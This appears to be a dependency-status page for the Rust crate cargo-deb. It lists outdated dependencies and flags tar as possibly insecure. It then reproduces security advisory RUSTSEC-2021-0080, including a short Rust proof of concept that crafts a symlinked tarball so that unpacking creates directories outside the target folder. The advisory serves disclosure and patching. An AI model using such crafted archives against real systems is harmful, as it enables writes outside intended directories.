This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate cargo-deb

Dependencies

(14 total, 7 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 ar^0.6.00.9.0out of date
 cargo_toml^0.3.00.19.2out of date
 file^1.1.11.1.2up to date
 getopts^0.2.140.2.21up to date
 glob^0.2.110.3.1out of date
 md5^0.5.00.7.0out of date
 quick-error^1.2.02.0.1out of date
 serde^1.0.111.0.197up to date
 serde_derive^1.0.111.0.197up to date
 serde_json^1.0.21.0.115up to date
 tar ⚠️^0.4.130.4.40maybe insecure
 toml^0.4.40.8.12out of date
 xz2^0.1.40.1.7up to date
 zopfli^0.3.00.8.0out of date

Dev dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 tempdir^0.3.60.3.7up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!